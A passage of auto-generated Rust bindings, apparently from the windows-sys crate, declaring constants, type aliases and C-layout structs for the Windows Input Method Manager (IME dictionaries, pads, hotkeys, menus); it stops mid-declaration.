pub const IFED_REG_NONE: u32 = 0u32; pub const IFED_REG_USER: u32 = 1u32; pub const IFED_SELECT_ALL: u32 = 15u32; pub const IFED_SELECT_COMMENT: u32 = 8u32; pub const IFED_SELECT_DISPLAY: u32 = 2u32; pub const IFED_SELECT_NONE: u32 = 0u32; pub const IFED_SELECT_POS: u32 = 4u32; pub const IFED_SELECT_READING: u32 = 1u32; pub const IFED_S_COMMENT_CHANGED: ::windows_sys::core::HRESULT = 291331i32; pub const IFED_S_EMPTY_DICTIONARY: ::windows_sys::core::HRESULT = 291329i32; pub const IFED_S_MORE_ENTRIES: ::windows_sys::core::HRESULT = 291328i32; pub const IFED_S_WORD_EXISTS: ::windows_sys::core::HRESULT = 291330i32; pub const IFED_TYPE_ALL: u32 = 31u32; pub const IFED_TYPE_ENGLISH: u32 = 16u32; pub const IFED_TYPE_GENERAL: u32 = 1u32; pub const IFED_TYPE_NAMEPLACE: u32 = 2u32; pub const IFED_TYPE_NONE: u32 = 0u32; pub const IFED_TYPE_REVERSE: u32 = 8u32; pub const IFED_TYPE_SPEECH: u32 = 4u32; pub type IFEDictionary = *mut ::core::ffi::c_void; pub type IFELanguage = *mut ::core::ffi::c_void; pub const IGIMIF_RIGHTMENU: u32 = 1u32; pub const IGIMII_CMODE: u32 = 1u32; pub const IGIMII_CONFIGURE: u32 = 4u32; pub const IGIMII_HELP: u32 = 16u32; pub const IGIMII_INPUTTOOLS: u32 = 64u32; pub const IGIMII_OTHER: u32 = 32u32; pub const IGIMII_SMODE: u32 = 2u32; pub const IGIMII_TOOLS: u32 = 8u32; pub type IImePad = *mut ::core::ffi::c_void; pub type IImePadApplet = *mut ::core::ffi::c_void; pub type IImePlugInDictDictionaryList = *mut ::core::ffi::c_void; pub type IImeSpecifyApplets = *mut ::core::ffi::c_void; #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub type IMCENUMPROC = ::core::option::Option<unsafe extern "system" fn(param0: super::super::super::Globalization::HIMC, param1: super::super::super::Foundation::LPARAM) -> super::super::super::Foundation::BOOL>; pub const IMC_CLOSESTATUSWINDOW: u32 = 33u32; pub const IMC_GETCANDIDATEPOS: u32 = 7u32; pub const IMC_GETCOMPOSITIONFONT: u32 = 9u32; pub const IMC_GETCOMPOSITIONWINDOW: u32 = 11u32; pub const IMC_GETSOFTKBDFONT: u32 = 17u32; pub const IMC_GETSOFTKBDPOS: u32 = 19u32; pub const IMC_GETSOFTKBDSUBTYPE: u32 = 21u32; pub const IMC_GETSTATUSWINDOWPOS: u32 = 15u32; pub const IMC_OPENSTATUSWINDOW: u32 = 34u32; pub const IMC_SETCANDIDATEPOS: u32 = 8u32; pub const IMC_SETCOMPOSITIONFONT: u32 = 10u32; pub const IMC_SETCOMPOSITIONWINDOW: u32 = 12u32; pub const IMC_SETCONVERSIONMODE: u32 = 2u32; pub const IMC_SETOPENSTATUS: u32 = 6u32; pub const IMC_SETSENTENCEMODE: u32 = 4u32; pub const IMC_SETSOFTKBDDATA: u32 = 24u32; pub const IMC_SETSOFTKBDFONT: u32 = 18u32; pub const IMC_SETSOFTKBDPOS: u32 = 20u32; pub const IMC_SETSOFTKBDSUBTYPE: u32 = 22u32; pub const IMC_SETSTATUSWINDOWPOS: u32 = 16u32; #[repr(C)] #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_WindowsAndMessaging"))] pub struct IMEAPPLETCFG { pub dwConfig: u32, pub wchTitle: [u16; 64], pub wchTitleFontFace: [u16; 32], pub dwCharSet: u32, pub iCategory: i32, pub hIcon: super::super::WindowsAndMessaging::HICON, pub langID: u16, pub dummy: u16, pub lReserved1: super::super::super::Foundation::LPARAM, } #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_WindowsAndMessaging"))] impl ::core::marker::Copy for IMEAPPLETCFG {} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_UI_WindowsAndMessaging"))] impl ::core::clone::Clone for IMEAPPLETCFG { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct IMEAPPLETUI { pub hwnd: super::super::super::Foundation::HWND, pub dwStyle: u32, pub width: i32, pub height: i32, pub minWidth: i32, pub minHeight: i32, pub maxWidth: i32, pub maxHeight: i32, pub lReserved1: super::super::super::Foundation::LPARAM, pub lReserved2: super::super::super::Foundation::LPARAM, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEAPPLETUI {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEAPPLETUI { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct IMECHARINFO { pub wch: u16, pub dwCharInfo: u32, } impl ::core::marker::Copy for IMECHARINFO {} impl ::core::clone::Clone for IMECHARINFO { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct IMECHARPOSITION { pub dwSize: u32, pub dwCharPos: u32, pub pt: super::super::super::Foundation::POINT, pub cLineHeight: u32, pub rcDocument: super::super::super::Foundation::RECT, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMECHARPOSITION {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMECHARPOSITION { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct IMECOMPOSITIONSTRINGINFO { pub iCompStrLen: i32, pub iCaretPos: i32, pub iEditStart: i32, pub iEditLen: i32, pub iTargetStart: i32, pub iTargetLen: i32, } impl ::core::marker::Copy for IMECOMPOSITIONSTRINGINFO {} impl ::core::clone::Clone for IMECOMPOSITIONSTRINGINFO { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct IMEDLG { pub cbIMEDLG: i32, pub hwnd: super::super::super::Foundation::HWND, pub lpwstrWord: super::super::super::Foundation::PWSTR, pub nTabId: i32, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEDLG {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEDLG { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct IMEDP { pub wrdModifier: IMEWRD, pub wrdModifiee: IMEWRD, pub relID: IMEREL, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEDP {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEDP { fn clone(&self) -> Self { *self } } pub const IMEFAREASTINFO_TYPE_COMMENT: u32 = 2u32; pub const IMEFAREASTINFO_TYPE_COSTTIME: u32 = 3u32; pub const IMEFAREASTINFO_TYPE_DEFAULT: u32 = 0u32; pub const IMEFAREASTINFO_TYPE_READING: u32 = 1u32; pub type IMEFMT = i32; pub const IFED_UNKNOWN: IMEFMT = 0i32; pub const IFED_MSIME2_BIN_SYSTEM: IMEFMT = 1i32; pub const IFED_MSIME2_BIN_USER: IMEFMT = 2i32; pub const IFED_MSIME2_TEXT_USER: IMEFMT = 3i32; pub const IFED_MSIME95_BIN_SYSTEM: IMEFMT = 4i32; pub const IFED_MSIME95_BIN_USER: IMEFMT = 5i32; pub const IFED_MSIME95_TEXT_USER: IMEFMT = 6i32; pub const IFED_MSIME97_BIN_SYSTEM: IMEFMT = 7i32; pub const IFED_MSIME97_BIN_USER: IMEFMT = 8i32; pub const IFED_MSIME97_TEXT_USER: IMEFMT = 9i32; pub const IFED_MSIME98_BIN_SYSTEM: IMEFMT = 10i32; pub const IFED_MSIME98_BIN_USER: IMEFMT = 11i32; pub const IFED_MSIME98_TEXT_USER: IMEFMT = 12i32; pub const IFED_ACTIVE_DICT: IMEFMT = 13i32; pub const IFED_ATOK9: IMEFMT = 14i32; pub const IFED_ATOK10: IMEFMT = 15i32; pub const IFED_NEC_AI_: IMEFMT = 16i32; pub const IFED_WX_II: IMEFMT = 17i32; pub const IFED_WX_III: IMEFMT = 18i32; pub const IFED_VJE_20: IMEFMT = 19i32; pub const IFED_MSIME98_SYSTEM_CE: IMEFMT = 20i32; pub const IFED_MSIME_BIN_SYSTEM: IMEFMT = 21i32; pub const IFED_MSIME_BIN_USER: IMEFMT = 22i32; pub const IFED_MSIME_TEXT_USER: IMEFMT = 23i32; pub const IFED_PIME2_BIN_USER: IMEFMT = 24i32; pub const IFED_PIME2_BIN_SYSTEM: IMEFMT = 25i32; pub const IFED_PIME2_BIN_STANDARD_SYSTEM: IMEFMT = 26i32; #[repr(C)] pub struct IMEINFO { pub dwPrivateDataSize: u32, pub fdwProperty: u32, pub fdwConversionCaps: u32, pub fdwSentenceCaps: u32, pub fdwUICaps: u32, pub fdwSCSCaps: u32, pub fdwSelectCaps: u32, } impl ::core::marker::Copy for IMEINFO {} impl ::core::clone::Clone for IMEINFO { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct IMEITEM { pub cbSize: i32, pub iType: i32, pub lpItemData: *mut ::core::ffi::c_void, } impl ::core::marker::Copy for IMEITEM {} impl ::core::clone::Clone for IMEITEM { fn clone(&self) -> Self { *self } } #[repr(C)] pub struct IMEITEMCANDIDATE { pub uCount: u32, pub imeItem: [IMEITEM; 1], } impl ::core::marker::Copy for IMEITEMCANDIDATE {} impl ::core::clone::Clone for IMEITEMCANDIDATE { fn clone(&self) -> Self { *self } } pub const IMEKEYCTRLMASK_ALT: u32 = 1u32; pub const IMEKEYCTRLMASK_CTRL: u32 = 2u32; pub const IMEKEYCTRLMASK_SHIFT: u32 = 4u32; pub const IMEKEYCTRL_DOWN: u32 = 0u32; pub const IMEKEYCTRL_UP: u32 = 1u32; #[repr(C, packed(1))] #[cfg(feature = "Win32_Globalization")] pub struct IMEKMS { pub cbSize: i32, pub hIMC: super::super::super::Globalization::HIMC, pub cKeyList: u32, pub pKeyList: *mut IMEKMSKEY, } #[cfg(feature = "Win32_Globalization")] impl ::core::marker::Copy for IMEKMS {} #[cfg(feature = "Win32_Globalization")] impl ::core::clone::Clone for IMEKMS { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] pub struct IMEKMSFUNCDESC { pub cbSize: i32, pub idLang: u16, pub dwControl: u32, pub pwszDescription: [u16; 128], } impl ::core::marker::Copy for IMEKMSFUNCDESC {} impl ::core::clone::Clone for IMEKMSFUNCDESC { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct IMEKMSINIT { pub cbSize: i32, pub hWnd: super::super::super::Foundation::HWND, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEKMSINIT {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEKMSINIT { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Globalization")] pub struct IMEKMSINVK { pub cbSize: i32, pub hIMC: super::super::super::Globalization::HIMC, pub dwControl: u32, } #[cfg(feature = "Win32_Globalization")] impl ::core::marker::Copy for IMEKMSINVK {} #[cfg(feature = "Win32_Globalization")] impl ::core::clone::Clone for IMEKMSINVK { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] pub struct IMEKMSKEY { pub dwStatus: u32, pub dwCompStatus: u32, pub dwVKEY: u32, pub Anonymous1: IMEKMSKEY_0, pub Anonymous2: IMEKMSKEY_1, } impl ::core::marker::Copy for IMEKMSKEY {} impl ::core::clone::Clone for IMEKMSKEY { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] pub union IMEKMSKEY_0 { pub dwControl: u32, pub dwNotUsed: u32, } impl ::core::marker::Copy for IMEKMSKEY_0 {} impl ::core::clone::Clone for IMEKMSKEY_0 { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] pub union IMEKMSKEY_1 { pub pwszDscr: [u16; 31], pub pwszNoUse: [u16; 31], } impl ::core::marker::Copy for IMEKMSKEY_1 {} impl ::core::clone::Clone for IMEKMSKEY_1 { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Globalization")] pub struct IMEKMSKMP { pub cbSize: i32, pub hIMC: super::super::super::Globalization::HIMC, pub idLang: u16, pub wVKStart: u16, pub wVKEnd: u16, pub cKeyList: i32, pub pKeyList: *mut IMEKMSKEY, } #[cfg(feature = "Win32_Globalization")] impl ::core::marker::Copy for IMEKMSKMP {} #[cfg(feature = "Win32_Globalization")] impl ::core::clone::Clone for IMEKMSKMP { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] pub struct IMEKMSNTFY { pub cbSize: i32, pub hIMC: super::super::super::Globalization::HIMC, pub fSelect: super::super::super::Foundation::BOOL, } #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] impl ::core::marker::Copy for IMEKMSNTFY {} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Globalization"))] impl ::core::clone::Clone for IMEKMSNTFY { fn clone(&self) -> Self { *self } } pub const IMEKMS_2NDLEVEL: u32 = 4u32; pub const IMEKMS_CANDIDATE: u32 = 6u32; pub const IMEKMS_COMPOSITION: u32 = 1u32; pub const IMEKMS_IMEOFF: u32 = 3u32; pub const IMEKMS_INPTGL: u32 = 5u32; pub const IMEKMS_NOCOMPOSITION: u32 = 0u32; pub const IMEKMS_SELECTION: u32 = 2u32; pub const IMEKMS_TYPECAND: u32 = 7u32; #[repr(C)] #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Graphics_Gdi"))] pub struct IMEMENUITEMINFOA { pub cbSize: u32, pub fType: u32, pub fState: u32, pub wID: u32, pub hbmpChecked: super::super::super::Graphics::Gdi::HBITMAP, pub hbmpUnchecked: super::super::super::Graphics::Gdi::HBITMAP, pub dwItemData: u32, pub szString: [super::super::super::Foundation::CHAR; 80], pub hbmpItem: super::super::super::Graphics::Gdi::HBITMAP, } #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Graphics_Gdi"))] impl ::core::marker::Copy for IMEMENUITEMINFOA {} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_Graphics_Gdi"))] impl ::core::clone::Clone for IMEMENUITEMINFOA { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Graphics_Gdi")] pub struct IMEMENUITEMINFOW { pub cbSize: u32, pub fType: u32, pub fState: u32, pub wID: u32, pub hbmpChecked: super::super::super::Graphics::Gdi::HBITMAP, pub hbmpUnchecked: super::super::super::Graphics::Gdi::HBITMAP, pub dwItemData: u32, pub szString: [u16; 80], pub hbmpItem: super::super::super::Graphics::Gdi::HBITMAP, } #[cfg(feature = "Win32_Graphics_Gdi")] impl ::core::marker::Copy for IMEMENUITEMINFOW {} #[cfg(feature = "Win32_Graphics_Gdi")] impl ::core::clone::Clone for IMEMENUITEMINFOW { fn clone(&self) -> Self { *self } } pub const IMEMENUITEM_STRING_SIZE: u32 = 80u32; pub const IMEMOUSERET_NOTHANDLED: i32 = -1i32; pub const IMEMOUSE_LDOWN: u32 = 1u32; pub const IMEMOUSE_MDOWN: u32 = 4u32; pub const IMEMOUSE_NONE: u32 = 0u32; pub const IMEMOUSE_RDOWN: u32 = 2u32; pub const IMEMOUSE_VERSION: u32 = 255u32; pub const IMEMOUSE_WDOWN: u32 = 32u32; pub const IMEMOUSE_WUP: u32 = 16u32; pub const IMEPADCTRL_CARETBACKSPACE: u32 = 10u32; pub const IMEPADCTRL_CARETBOTTOM: u32 = 9u32; pub const IMEPADCTRL_CARETDELETE: u32 = 11u32; pub const IMEPADCTRL_CARETLEFT: u32 = 6u32; pub const IMEPADCTRL_CARETRIGHT: u32 = 7u32; pub const IMEPADCTRL_CARETSET: u32 = 5u32; pub const IMEPADCTRL_CARETTOP: u32 = 8u32; pub const IMEPADCTRL_CLEARALL: u32 = 4u32; pub const IMEPADCTRL_CONVERTALL: u32 = 1u32; pub const IMEPADCTRL_DETERMINALL: u32 = 2u32; pub const IMEPADCTRL_DETERMINCHAR: u32 = 3u32; pub const IMEPADCTRL_INSERTFULLSPACE: u32 = 14u32; pub const IMEPADCTRL_INSERTHALFSPACE: u32 = 15u32; pub const IMEPADCTRL_INSERTSPACE: u32 = 13u32; pub const IMEPADCTRL_OFFIME: u32 = 17u32; pub const IMEPADCTRL_OFFPRECONVERSION: u32 = 19u32; pub const IMEPADCTRL_ONIME: u32 = 16u32; pub const IMEPADCTRL_ONPRECONVERSION: u32 = 18u32; pub const IMEPADCTRL_PHONETICCANDIDATE: u32 = 20u32; pub const IMEPADCTRL_PHRASEDELETE: u32 = 12u32; pub const IMEPADREQ_CHANGESTRINGCANDIDATEINFO: u32 = 4111u32; pub const IMEPADREQ_CHANGESTRINGINFO: u32 = 4115u32; pub const IMEPADREQ_FIRST: u32 = 4096u32; pub const IMEPADREQ_GETAPPLETDATA: u32 = 4106u32; pub const IMEPADREQ_GETCOMPOSITIONSTRINGID: u32 = 4109u32; pub const IMEPADREQ_GETCURRENTUILANGID: u32 = 4120u32; pub const IMEPADREQ_GETSELECTEDSTRING: u32 = 4103u32; pub const IMEPADREQ_INSERTITEMCANDIDATE: u32 = 4099u32; pub const IMEPADREQ_INSERTSTRINGCANDIDATE: u32 = 4098u32; pub const IMEPADREQ_INSERTSTRINGCANDIDATEINFO: u32 = 4110u32; pub const IMEPADREQ_INSERTSTRINGINFO: u32 = 4114u32; pub const IMEPADREQ_SENDKEYCONTROL: u32 = 4101u32; pub const IMEPADREQ_SETAPPLETDATA: u32 = 4105u32; pub const IMEPADREQ_SETTITLEFONT: u32 = 4107u32; pub const IMEPN_ACTIVATE: u32 = 257u32; pub const IMEPN_APPLYCAND: u32 = 267u32; pub const IMEPN_APPLYCANDEX: u32 = 268u32; pub const IMEPN_CONFIG: u32 = 264u32; pub const IMEPN_FIRST: u32 = 256u32; pub const IMEPN_HELP: u32 = 265u32; pub const IMEPN_HIDE: u32 = 261u32; pub const IMEPN_INACTIVATE: u32 = 258u32; pub const IMEPN_QUERYCAND: u32 = 266u32; pub const IMEPN_SETTINGCHANGED: u32 = 269u32; pub const IMEPN_SHOW: u32 = 260u32; pub const IMEPN_SIZECHANGED: u32 = 263u32; pub const IMEPN_SIZECHANGING: u32 = 262u32; pub const IMEPN_USER: u32 = 356u32; pub type IMEREG = i32; pub const IFED_REG_HEAD: IMEREG = 0i32; pub const IFED_REG_TAIL: IMEREG = 1i32; pub const IFED_REG_DEL: IMEREG = 2i32; pub type IMEREL = i32; pub const IFED_REL_NONE: IMEREL = 0i32; pub const IFED_REL_NO: IMEREL = 1i32; pub const IFED_REL_GA: IMEREL = 2i32; pub const IFED_REL_WO: IMEREL = 3i32; pub const IFED_REL_NI: IMEREL = 4i32; pub const IFED_REL_DE: IMEREL = 5i32; pub const IFED_REL_YORI: IMEREL = 6i32; pub const IFED_REL_KARA: IMEREL = 7i32; pub const IFED_REL_MADE: IMEREL = 8i32; pub const IFED_REL_HE: IMEREL = 9i32; pub const IFED_REL_TO: IMEREL = 10i32; pub const IFED_REL_IDEOM: IMEREL = 11i32; pub const IFED_REL_FUKU_YOUGEN: IMEREL = 12i32; pub const IFED_REL_KEIYOU_YOUGEN: IMEREL = 13i32; pub const IFED_REL_KEIDOU1_YOUGEN: IMEREL = 14i32; pub const IFED_REL_KEIDOU2_YOUGEN: IMEREL = 15i32; pub const IFED_REL_TAIGEN: IMEREL = 16i32; pub const IFED_REL_YOUGEN: IMEREL = 17i32; pub const IFED_REL_RENTAI_MEI: IMEREL = 18i32; pub const IFED_REL_RENSOU: IMEREL = 19i32; pub const IFED_REL_KEIYOU_TO_YOUGEN: IMEREL = 20i32; pub const IFED_REL_KEIYOU_TARU_YOUGEN: IMEREL = 21i32; pub const IFED_REL_UNKNOWN1: IMEREL = 22i32; pub const IFED_REL_UNKNOWN2: IMEREL = 23i32; pub const IFED_REL_ALL: IMEREL = 24i32; #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct IMESHF { pub cbShf: u16, pub verDic: u16, pub szTitle: [super::super::super::Foundation::CHAR; 48], pub szDescription: [super::super::super::Foundation::CHAR; 256], pub szCopyright: [super::super::super::Foundation::CHAR; 128], } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMESHF {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMESHF { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct IMESTRINGCANDIDATE { pub uCount: u32, pub lpwstr: [super::super::super::Foundation::PWSTR; 1], } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMESTRINGCANDIDATE {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMESTRINGCANDIDATE { fn clone(&self) -> Self { *self } } #[repr(C)] #[cfg(feature = "Win32_Foundation")] pub struct IMESTRINGCANDIDATEINFO { pub dwFarEastId: u32, pub lpFarEastInfo: *mut tabIMEFAREASTINFO, pub fInfoMask: u32, pub iSelIndex: i32, pub uCount: u32, pub lpwstr: [super::super::super::Foundation::PWSTR; 1], } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMESTRINGCANDIDATEINFO {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMESTRINGCANDIDATEINFO { fn clone(&self) -> Self { *self } } pub type IMEUCT = i32; pub const IFED_UCT_NONE: IMEUCT = 0i32; pub const IFED_UCT_STRING_SJIS: IMEUCT = 1i32; pub const IFED_UCT_STRING_UNICODE: IMEUCT = 2i32; pub const IFED_UCT_USER_DEFINED: IMEUCT = 3i32; pub const IFED_UCT_MAX: IMEUCT = 4i32; pub const IMEVER_0310: u32 = 196618u32; pub const IMEVER_0400: u32 = 262144u32; #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct IMEWRD { pub pwchReading: super::super::super::Foundation::PWSTR, pub pwchDisplay: super::super::super::Foundation::PWSTR, pub Anonymous: IMEWRD_0, pub rgulAttrs: [u32; 2], pub cbComment: i32, pub uct: IMEUCT, pub pvComment: *mut ::core::ffi::c_void, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEWRD {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEWRD { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub union IMEWRD_0 { pub ulPos: u32, pub Anonymous: IMEWRD_0_0, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEWRD_0 {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEWRD_0 { fn clone(&self) -> Self { *self } } #[repr(C, packed(1))] #[cfg(feature = "Win32_Foundation")] pub struct IMEWRD_0_0 { pub nPos1: u16, pub nPos2: u16, } #[cfg(feature = "Win32_Foundation")] impl ::core::marker::Copy for IMEWRD_0_0 {} #[cfg(feature = "Win32_Foundation")] impl ::core::clone::Clone for IMEWRD_0_0 { fn clone(&self) -> Self { *self } } pub const IME_CAND_CODE: u32 = 2u32; pub const IME_CAND_MEANING: u32 = 3u32; pub const IME_CAND_RADICAL: u32 = 4u32; pub const IME_CAND_READ: u32 = 1u32; pub const IME_CAND_STROKE: u32 = 5u32; pub const IME_CAND_UNKNOWN: u32 = 0u32; pub const IME_CHOTKEY_IME_NONIME_TOGGLE: u32 = 16u32; pub const IME_CHOTKEY_SHAPE_TOGGLE: u32 = 17u32; pub const IME_CHOTKEY_SYMBOL_TOGGLE: u32 = 18u32; pub const IME_CMODE_EUDC: u32 = 512u32; pub const IME_CMODE_FIXED: u32 = 2048u32; pub const IME_CMODE_NOCONVERSION: u32 = 256u32; pub const IME_CMODE_RESERVED: u32 = 4026531840u32; pub const IME_CMODE_SOFTKBD: u32 = 128u32; pub const IME_CMODE_SYMBOL: u32 = 1024u32; pub const IME_CONFIG_GENERAL: u32 = 1u32; pub const IME_CONFIG_REGISTERWORD: u32 = 2u32; pub const IME_CONFIG_SELECTDICTIONARY: u32 = 3u32; pub const IME_ESC_AUTOMATA: u32 = 4105u32; pub const IME_ESC_GETHELPFILENAME: u32 = 4107u32; pub const IME_ESC_GET_EUDC_DICTIONARY: u32 = 4099u32; pub const IME_ESC_HANJA_MODE: u32 = 4104u32; pub const IME_ESC_IME_NAME: u32 = 4102u32; pub const IME_ESC_MAX_KEY: u32 = 4101u32; pub const IME_ESC_PRIVATE_FIRST: u32 = 2048u32; pub const IME_ESC_PRIVATE_HOTKEY: u32 = 4106u32; pub const IME_ESC_PRIVATE_LAST: u32 = 4095u32; pub const IME_ESC_QUERY_SUPPORT: u32 = 3u32; pub const IME_ESC_RESERVED_FIRST: u32 = 4u32; pub const IME_ESC_RESERVED_LAST: u32 = 2047u32; pub const IME_ESC_SEQUENCE_TO_INTERNAL: u32 = 4097u32; pub const IME_ESC_SET_EUDC_DICTIONARY: u32 = 4100u32; pub const IME_ESC_STRING_BUFFER_SIZE: u32 = 80u32; pub const IME_ESC_SYNC_HOTKEY: u32 = 4103u32; pub const IME_HOTKEY_DSWITCH_FIRST: u32 = 256u32; pub const IME_HOTKEY_DSWITCH_LAST: u32 = 287u32; pub const IME_HOTKEY_PRIVATE_FIRST: u32 = 512u32; pub const IME_HOTKEY_PRIVATE_LAST: u32 = 543u32; pub const IME_ITHOTKEY_PREVIOUS_COMPOSITION: u32 = 513u32; pub const IME_ITHOTKEY_RECONVERTSTRING: u32 = 515u32; pub const IME_ITHOTKEY_RESEND_RESULTSTR: u32 = 512u32; pub const IME_ITHOTKEY_UISTYLE_TOGGLE: u32 = 514u32; pub const IME_JHOTKEY_CLOSE_OPEN: u32 = 48u32; pub const IME_KHOTKEY_ENGLISH: u32 = 82u32; pub const IME_KHOTKEY_HANJACONVERT: u32 = 81u32; pub const IME_KHOTKEY_SHAPE_TOGGLE: u32 = 80u32; pub type IME_PAD_REQUEST_FLAGS = u32; pub const IMEPADREQ_INSERTSTRING: IME_PAD_REQUEST_FLAGS = 4097u32; pub const IMEPADREQ_SENDCONTROL: IME_PAD_REQUEST_FLAGS = 4100u32; pub const IMEPADREQ_SETAPPLETSIZE: IME_PAD_REQUEST_FLAGS = 4104u32; pub const IMEPADREQ_GETCOMPOSITIONSTRING: IME_PAD_REQUEST_FLAGS = 4102u32; pub const IMEPADREQ_GETCOMPOSITIONSTRINGINFO: IME_PAD_REQUEST_FLAGS = 4108u32; pub const IMEPADREQ_DELETESTRING: IME_PAD_REQUEST_FLAGS = 4112u32; pub const IMEPADREQ_CHANGESTRING: IME_PAD_REQUEST_FLAGS = 4113u32; pub const IMEPADREQ_GETAPPLHWND: IME_PAD_REQUEST_FLAGS = 4116u32; pub const IMEPADREQ_FORCEIMEPADWINDOWSHOW: IME_PAD_REQUEST_FLAGS = 4117u32; pub const IMEPADREQ_POSTMODALNOTIFY: IME_PAD_REQUEST_FLAGS = 4118u32; pub const IMEPADREQ_GETDEFAULTUILANGID: IME_PAD_REQUEST_FLAGS = 4119u32; pub const IMEPADREQ_GETAPPLETUISTYLE: IME_PAD_REQUEST_FLAGS = 4121u32; pub const IMEPADREQ_SETAPPLETUISTYLE: IME_PAD_REQUEST_FLAGS = 4122u32; pub const IMEPADREQ_ISAPPLETACTIVE: IME_PAD_REQUEST_FLAGS = 4123u32; pub const IMEPADREQ_ISIMEPADWINDOWVISIBLE: IME_PAD_REQUEST_FLAGS = 4124u32; pub const IMEPADREQ_SETAPPLETMINMAXSIZE: IME_PAD_REQUEST_FLAGS = 4125u32; pub const IMEPADREQ_GETCONVERSIONSTATUS: IME_PAD_REQUEST_FLAGS = 4126u32; pub const IMEPADREQ_GETVERSION: IME_PAD_REQUEST_FLAGS = 4127u32; pub const IMEPADREQ_GETCURRENTIMEINFO: IME_PAD_REQUEST_FLAGS = 4128u32; pub const IME_PROP_ACCEPT_WIDE_VKEY: u32 = 32u32; pub const IME_PROP_AT_CARET: u32 = 65536u32; pub const IME_PROP_CANDLIST_START_FROM_1: u32 = 262144u32; pub const IME_PROP_COMPLETE_ON_UNSELECT: u32 = 1048576u32; pub const IME_PROP_END_UNLOAD: u32 = 1u32; pub const IME_PROP_IGNORE_UPKEYS: u32 = 4u32; pub const IME_PROP_KBD_CHAR_FIRST: u32 = 2u32; pub const IME_PROP_NEED_ALTKEY: u32 = 8u32; pub const IME_PROP_NO_KEYS_ON_CLOSE: u32 = 16u32; pub const IME_PROP_SPECIAL_UI: u32 = 131072u32; pub const IME_PROP_UNICODE: u32 = 524288u32; pub const IME_REGWORD_STYLE_EUDC: u32 = 1u32; pub const IME_REGWORD_STYLE_USER_FIRST: u32 = 2147483648u32; pub const IME_REGWORD_STYLE_USER_LAST: u32 = 4294967295u32; pub const IME_SMODE_AUTOMATIC: u32 = 4u32; pub const IME_SMODE_CONVERSATION: u32 = 16u32; pub const IME_SMODE_NONE: u32 = 0u32; pub const IME_SMODE_PHRASEPREDICT: u32 = 8u32; pub const IME_SMODE_PLAURALCLAUSE: u32 = 1u32; pub const IME_SMODE_RESERVED: u32 = 61440u32; pub const IME_SMODE_SINGLECONVERT: u32 = 2u32; pub const IME_SYSINFO_WINLOGON: u32 = 1u32; pub const IME_SYSINFO_WOW16: u32 = 2u32; pub const IME_THOTKEY_IME_NONIME_TOGGLE: u32 = 112u32; pub const IME_THOTKEY_SHAPE_TOGGLE: u32 = 113u32; pub const IME_THOTKEY_SYMBOL_TOGGLE: u32 = 114u32; pub const IME_UI_CLASS_NAME_SIZE: u32 = 16u32; pub const IMFT_RADIOCHECK: u32 = 1u32; pub const IMFT_SEPARATOR: u32 = 2u32; pub const IMFT_SUBMENU: u32 = 4u32; pub const IMMGWLP_IMC: u32 = 0u32; pub const IMMGWL_IMC: u32 = 0u32; pub const IMM_ERROR_GENERAL: i32 = -2i32; pub const IMM_ERROR_NODATA: i32 = -1i32; pub const IMN_CHANGECANDIDATE: u32 = 3u32; pub const IMN_CLOSECANDIDATE: u32 = 4u32; pub const 